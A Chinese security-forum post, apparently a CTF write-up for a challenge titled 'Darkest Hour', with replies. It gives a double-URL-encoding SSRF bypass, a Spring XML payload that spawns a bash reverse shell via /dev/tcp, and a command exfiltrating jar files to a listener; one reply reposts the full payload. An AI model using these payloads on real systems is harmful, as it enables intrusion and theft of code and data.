首页
社区
课程
招聘
[原创]第一题 至暗时刻
2020-11-19 10:57 3771

[原创]第一题 至暗时刻

2020-11-19 10:57
3771

第一题 至暗时刻

需要ssrf127.0.0.1的8088端口 有正则需要带有 .pediy .com/ 测了一会儿发现使用urlencode两次就可以ssrf了

 

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%253f.pediy.com/loadConfig?url=http://ip/payload.xml

 

这样也可以绕ssrf 不过需要服务器写一个302跳转
http://121.36.145.157:8088/getimage?url=http://@@127.0.0.1:1234@m.pediy.com/loadConfig?url=http://127.0.0.1/

 

ssrf成功后发现需要xml

 

发现可以用FileSystemXmlApplicationContext 命令执行

 

https://www.cnblogs.com/afanti/p/10815728.html

 

使用这里的payload拿shell

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash >& /dev/tcp/ip/2333 0>&1]]

image-20201118141836349

 

拿到shell以后 把home下的jar下载回来

1
2
3
cat /home/*.jar > /dev/tcp/ip/port
 
nc -lvnp port >1.jar

用jd-gui 反编译拿到flag

 

img


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 2
打赏
分享
最新回复 (3)
雪    币: 357
活跃值: (2708)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
KooJiSung 2020-11-19 15:20
2
0
我的sc.xml
HTTP/1.1 200 OK
Server: nginx/1.9.4
Date: Thu, 19 Nov 2020 06:55:42 GMT
Content-Type: text/xml
Content-Length: 550

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
       <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
               <constructor-arg>
                       <list>
                               <value>bash</value>
                               <value>-c</value>
                               <value><![CDATA[bash >& /dev/tcp/ip/2333 0>&1]]></value>
                       </list>
               </constructor-arg>
       </bean>
</beans>

执行提示 FreeMarker template error
雪    币: 638
活跃值: (795)
能力值: ( LV6,RANK:93 )
在线值:
发帖
回帖
粉丝
香草0x00 2020-11-19 15:37
3
0
虽然报错了,但是执行了呀
雪    币: 401
活跃值: (778)
能力值: ( LV4,RANK:58 )
在线值:
发帖
回帖
粉丝
xjklewh 2020-11-19 16:28
4
0
学习了
游客
登录 | 注册 方可回帖
返回